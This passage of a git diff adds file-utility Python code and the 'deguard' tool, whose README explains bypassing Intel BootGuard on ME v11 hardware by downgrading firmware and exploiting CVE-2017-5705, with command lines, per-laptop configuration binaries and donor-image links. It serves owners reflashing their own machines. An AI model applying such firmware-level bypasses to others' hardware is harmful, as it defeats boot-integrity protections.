f'{os.path.normpath(_extract_path)}_{get_ordinal(_suffix)}' + + if not os.path.isdir(_renamed_path): + _extract_path = _renamed_path + + break # Extract path is now unique + + if self._main(_input_file, _extract_path, self._padding + 4, **self._arguments_kw) in [0, None]: + self._exit_code -= 1 + + printer('Done!', pause=True) + + sys.exit(self._exit_code) + + # Process input files + def _process_input_files(self): + self._input_files = [] + + if len(sys.argv) >= 2: + # Drag & Drop or CLI + if self._arguments.input_dir: + _input_path_user = self._arguments.input_dir + _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' + self._input_files = get_path_files(_input_path_full) + else: + # Parse list of input files (i.e. argparse FileType objects) + for _file_object in self._arguments.files: + # Store each argparse FileType object's name (i.e. path) + self._input_files.append(_file_object.name) + # Close each argparse FileType object (i.e. allow input file changes) + _file_object.close() + + # Set output fallback value for missing argparse Output and Input Path + _output_fallback = path_parent(self._input_files[0]) if self._input_files else None + + # Set output path via argparse Output path or argparse Input path or first input file path + _output_path = self._arguments.output_dir or self._arguments.input_dir or _output_fallback + else: + # Script w/o parameters + _input_path_user = get_dequoted_path(input('\nEnter input directory path: ')) + _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' + self._input_files = get_path_files(_input_path_full) + + _output_path = get_dequoted_path(input('\nEnter output directory path: ')) + + self._output_path = self._get_input_path(_output_path) + + # Get absolute input file path + @staticmethod + def _get_input_path(input_path): + if not input_path: + # Use runtime directory if no user path is specified + absolute_path = runtime_root() + else: + # Check if user specified path is absolute + if is_path_absolute(input_path): + absolute_path = input_path + # Otherwise, make it runtime directory relative + else: + absolute_path = safe_path(runtime_root(), input_path) + + return absolute_path + + # https://stackoverflow.com/a/781074 by Torsten Marek + @staticmethod + def _exception_handler(exc_type, exc_value, exc_traceback): + if exc_type is KeyboardInterrupt: + printer('') + else: + printer('Error: Utility crashed, please report the following:\n') + + traceback.print_exception(exc_type, exc_value, exc_traceback) + + if not is_auto_exit(): + input('\nPress enter to exit') + + sys.exit(127) diff --git a/blobs/t480/biosutilities/common/text_ops.py b/blobs/t480/biosutilities/common/text_ops.py new file mode 100644 index 000000000..f00705124 --- /dev/null +++ b/blobs/t480/biosutilities/common/text_ops.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +# Generate padding (spaces or tabs) +def padder(padd_count, tab=False): + return ('\t' if tab else ' ') * padd_count + +# Get String from given input object +def to_string(in_object, sep_char=''): + if type(in_object).__name__ in ('list','tuple'): + out_string = sep_char.join(map(str, in_object)) + else: + out_string = str(in_object) + + return out_string + +# Get Bytes from given buffer or file path +def file_to_bytes(in_object): + object_bytes = in_object + + if type(in_object).__name__ not in ('bytes','bytearray'): + with open(to_string(in_object), 'rb') as object_data: + object_bytes = object_data.read() + + return object_bytes + +# Check if string starts and ends with given character(s) +def is_encased(in_string, chars): + return in_string.startswith(chars) and in_string.endswith(chars) diff --git a/blobs/t480/biosutilities/external/requirements.txt b/blobs/t480/biosutilities/external/requirements.txt new file mode 100644 index 000000000..798c16cf3 --- /dev/null +++ b/blobs/t480/biosutilities/external/requirements.txt @@ -0,0 +1,2 @@ +lznt1 >= 0.2 +pefile >= 2022.5.30 diff --git a/blobs/t480/deguard/.gitignore b/blobs/t480/deguard/.gitignore new file mode 100644 index 000000000..834b16bde --- /dev/null +++ b/blobs/t480/deguard/.gitignore @@ -0,0 +1,2 @@ +__pycache__ +test diff --git a/blobs/t480/deguard/README.md b/blobs/t480/deguard/README.md new file mode 100644 index 000000000..186001cea --- /dev/null +++ b/blobs/t480/deguard/README.md @@ -0,0 +1,81 @@ +# Bypass Intel BootGuard on ME v11.x.x.x hardware + +This utility allows generating BootGuard bypass images for hardware running ME v11.x.x.x firmware. + +This includes Skylake, Kaby Lake, and some Coffee Lake PCHs. Both the H (desktop) and LP (mobile) firmware +varaints are supported. + +## Background + +This uses [CVE-2017-5705](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html). + +It has been fixed by Intel in newer ME v11.x.x.x firmware releases, however ME11 hardware has no protection +against downgrading the ME version by overwriting the SPI flash physically, thus we can downgrade to a vulnerable +version. + +After downgrade, we exploit the bup module of the vulnerable firmware, overwriting the copy of field programmable fuses +stored in SRAM, resulting in the fused BootGuard configuration being replaced with our desired one. + +## Adding new target + +As a board porter, you need to provide the delta between the default and vendor provided ME configuration. + +This goes in the `data/delta/` directory for each target. + +To obtain this, dump the vendor firmware from your board, and execute: + +`./generatedelta.py --input --output data/delta/` + +Note the delta generation only takes your factory dump as an input. This is because an ME image contains both the +default and system specific configuration, and these can be compared by deguard. + +You *must discard* the `/home/secureboot` directory from the delta for the zero FPF config to work. + +You can optionally also discard `home/{amt,fwupdate,pavp,ptt}` from the delta. + +## Generating images for an existing target + +As a user wishing to generate an image for a supported target: + +You will need to obtain a donor image for your platform variant with a supported ME version (see URLs below). + +This can either be a full image with a flash descriptor or just a bare ME region. + +Afterwards, execute the following command and enjoy: + +`./finalimage.py --delta data/delta/ --version --pch --sku <2M or 5M SKU> --fake-fpfs data/fpfs/zero --input --output ` + +The output will be a bare deguard patched ME region. + +Please note: +- The **the HAP bit must be enabled** in your flash descriptor for deguard generated ME images to work. +- The DCI bit must be enabled in your flash descriptor for DCI debugging over USB. + + +## Note on field programmable fuses + +This document recommends faking a set of FPFs that are all zero as a BootGuard bypass strategy. + +This causes the platform to work in legacy mode, and does not require dumping the fuses from the PCH. + +It is also possible to enable measured mode instead (there is some example FPF data for this). + +Theoretically it is possible to even re-enable BootGuard with a custom private key (with the caveat that it is +obviously insecure against physical access). + +## Donor images + +This section lists some URLs to recommended and tested donor images. Any image with a supported firmware +version and variant ought to work, but the path of least resistance is for everyone to use the same images. + +|Version|Variant|SKU|URL|Notes| +|-|-|-|-| +|11.6.0.1126|H (Desktop)|2M|[link](https://web.archive.org/web/20230822134231/https://download.asrock.com/BIOS/1151/H110M-DGS(7.30)ROM.zip)|Zipped flash image| +|11.6.0.1126|LP (Laptop)|2M|[link](https://web.archive.org/web/20241110222323/https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe)|Dell BIOS update (use Dell_PFS_Extract.py)| + +## Thanks + +Thanks goes to PT Research and Youness El Alaoui for previous work on exploiting Intel SA 00086, which this PoC is heavily reliant on. + +- [IntelTXE-PoC](https://github.com/kakaroto/IntelTXE-PoC) +- [MFSUtil](https://github.com/kakaroto/MFSUtil) diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map new file mode 100644 index 0000000000000000000000000000000000000000..78259a9dc541f003d09457207db1840901d2d1ab GIT binary patch literal 7 OcmZ>37i8dJ-~a#xoB;Cx literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base new file mode 100644 index 0000000000000000000000000000000000000000..658a9660e31c0501f3e9fba168279fecec236f8b GIT binary patch literal 18 ZcmWe&P-3uPSje!M;Q^BeQzX+xCIBG91Q`GT literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku new file mode 100644 index 000000000..96296af2d --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku @@ -0,0 +1 @@ +/ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp new file mode 100644 index 0000000000000000000000000000000000000000..6d3c0ed71b21e041cac3068687a0607cac1e8c50 GIT binary patch literal 44 tcmd;PWnf_BU}69PMph;UB^DP!MkXc(2SGtYMouOM=YW5WY>Z&}1^_eW1Kt1t literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs new file mode 100644 index 0000000000000000000000000000000000000000..23c1ea2751fd4615995e5930e844e1abd9b58557 GIT binary patch literal 36 jcmY#kU}RuoU|?VpV81gH3Z8yoU{Diaz9V21QU<~Ru6_#V literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header new file mode 100644 index 0000000000000000000000000000000000000000..4b75556082e2c00ea8a888450d05627b20f0ec61 GIT binary patch literal 4 LcmZQ%U|<9Q00{sC literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr new file mode 100644 index 0000000000000000000000000000000000000000..6f8c6989c84e6c19cdc026f95c6148b436fd4486 GIT binary patch literal 48 ecmWG2%1_J8NmVdlKn1}iiFqlBMJcGF3=9Cwn+8(= literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 new file mode 100644 index 0000000000000000000000000000000000000000..dab085a9f50507ce36b5fd1a2c47661f81937372 GIT binary patch literal 120 zcmWeozo*7wbe=&#T|k`y2r?KL8F+v+a{%L81|x?5f{Ki9nHiWF{2YLMAYe-Z(e?~& eDG-`170QRwY#C5KlxE9>@}V@B0OK7Npg912zZd}k literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom new file mode 100644 index 000000000..6b2aaa764 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy new file mode 100644 index 0000000000000000000000000000000000000000..f76dd238ade08917e6712764a16a22005a50573d GIT binary patch literal 1 IcmZPo000310RR91 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports b/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules new file mode 100644 index 0000000000000000000000000000000000000000..91423d6906ebdae53f92532fc69f888190ce4572 GIT binary patch literal 660 zcmY+>O-=$q6a?U>4vI#Q1{4*QKLG(10bxy$#1+Y$z`L;VAY97>a0{R+shK<%o%&Mg zem&_iGrKg4<{^xZWP}~d>`r8aMKb%0jIdLg{TWssTj{Lp&t=ZoVkqwg{~2A{=VZ>o zytKcP`CSG17a8O|vMBRxNk&*%=ALWk8|RA5v$rzB?qv4&@&&RgbLNA*i2qiPax+?n zCz)q!&UF}X#P<&k`77S7n@Nvs$=}PL&9jWKw#=CwtmHkr>Jj!L^MCfRl0ALrf%YKm c)%nf&9p+iyHFW)l^T>JZJaPVXo;uH*4=I}$YybcN literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 new file mode 100644 index 000000000..189a0a7f9 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 @@ -0,0 +1 @@ +n$ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 new file mode 100644 index 000000000..9aab9a80e --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 @@ -0,0 +1 @@ +t` \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 new file mode 100644 index 000000000..6eb8dc476 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 @@ -0,0 +1 @@ +Ȯ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto new file mode 100644 index 000000000..27f4db070 --- /dev/null +++ b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto @@ -0,0 +1 @@ +к \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map new file mode 100644 index 0000000000000000000000000000000000000000..e51cb421e9112ea7a4411231ec508df3a8b775e2 GIT binary patch literal 7 OcmZQ$abVzK=mP)(I{@VX literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base new file mode 100644 index 0000000000000000000000000000000000000000..756890b668082baad0045ee92ca8d392a133368d GIT binary patch literal 18 Zcmb1O&|+|4*uZdzVHZ;{QwGxpCIBLs1R?+c literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku new file mode 100644 index 0000000000000000000000000000000000000000..3b549bfe91fe908ceec9ec613c2669ed8bd61508 GIT binary patch literal 4 Lcmd;JU}yjU0Hgqk literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp new file mode 100644 index 0000000000000000000000000000000000000000..dd19cff43f2c1640d0fef3b3813dfdfa7c43c845 GIT binary patch literal 52 zcmd;OV_;z9U}9io0Me{X42mMcPK-=U46Z@nVi`G^7~BK?HL@`>0c9B)SRgb50C?~P AQvd(} literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs new file mode 100644 index 0000000000000000000000000000000000000000..1cbeceebe10779124f952593fb481732944701cf GIT binary patch literal 28 icmb1PU}RuoU|?VpV7)VQ&P)b-AX`m<@s5B|NErY*umwK= literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header new file mode 100644 index 0000000000000000000000000000000000000000..4b75556082e2c00ea8a888450d05627b20f0ec61 GIT binary patch literal 4 LcmZQ%U|<9Q00{sC literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr new file mode 100644 index 0000000000000000000000000000000000000000..b0f3735c08f70e800a5dcce8ba8a2ef5ac9b075e GIT binary patch literal 48 ZcmeZC&C4&#XTSi#C5d?{iA5>s5&*Dj1*HH0 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom new file mode 100644 index 000000000..6b2aaa764 --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy new file mode 100644 index 0000000000000000000000000000000000000000..f76dd238ade08917e6712764a16a22005a50573d GIT binary patch literal 1 IcmZPo000310RR91 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config new file mode 100644 index 0000000000000000000000000000000000000000..009d73a31973e2082917509b8596bb343d4265ab GIT binary patch literal 4 LcmZQ0l|Qv41yvG4#=e9z?u+=D-yz9@8ZUTcsXyt609Z&}1^_We1G@kK literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs new file mode 100644 index 0000000000000000000000000000000000000000..912ab3579185250403dc1db1cb95ed24b1e7f2ab GIT binary patch literal 28 icmb1PU}RuoU|?VpV7)W*s5&*Dj1*HH0 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 new file mode 100644 index 000000000..e69de29bb diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom new file mode 100644 index 000000000..6b2aaa764 --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy new file mode 100644 index 0000000000000000000000000000000000000000..f76dd238ade08917e6712764a16a22005a50573d GIT binary patch literal 1 IcmZPo000310RR91 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports new file mode 100644 index 0000000000000000000000000000000000000000..593f4708db84ac8fd0f5cc47c634f38c013fe9e4 GIT binary patch literal 4 LcmZQzU|;|M00aO5 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config new file mode 100644 index 0000000000000000000000000000000000000000..f66c9cf4c9672fa2832bce76f4082fd97b823506 GIT binary patch literal 4 LcmZQ%U|;|M00;mA literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules new file mode 100644 index 0000000000000000000000000000000000000000..6243fe92703b15ca1f7f387ba5c4d899a79c569b GIT binary patch literal 660 zcmY+=OHKk|5Cq^>K!kw6@D_P1@igPOP^;RM`;4F~aZ-U6s51t}Jj`cnC)|Cu&3 zOPGZhK{|6oBkY#;E<__NOnV=p5q3v=9~Iw=W3X@rU?Rd<6FI7iRzf literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 new file mode 100644 index 000000000..b508e576d --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 @@ -0,0 +1 @@ +Z# \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 new file mode 100644 index 000000000..96116535e --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 @@ -0,0 +1 @@ +R˦ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 new file mode 100644 index 000000000..7f55b1e93 --- /dev/null +++ b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 @@ -0,0 +1 @@ +6 \ No newline at end of file diff --git a/blobs/t480/deguard/data/fpfs/optiplex_3050 b/blobs/t480/deguard/data/fpfs/optiplex_3050 new file mode 100644 index 0000000000000000000000000000000000000000..c3493e18862c9671102fd85f3cad1006b8b58f6b GIT binary patch literal 256 zcmZQz0D+KDAYfo{U}OkjWjNr%;J^YF#zR>6eQ5X(1bCESmBP@oVCzO#%>XOz?EKE> rZ>Jqp++35a9MK>;Axm{(U!-G7q3u5=tOlV8GD7)KhdZE2-0RR92 literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/doc/COPYING.txt b/blobs/t480/deguard/doc/COPYING.txt new file mode 100644 index 000000000..d159169d1 --- /dev/null +++ b/blobs/t480/deguard/doc/COPYING.txt @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, 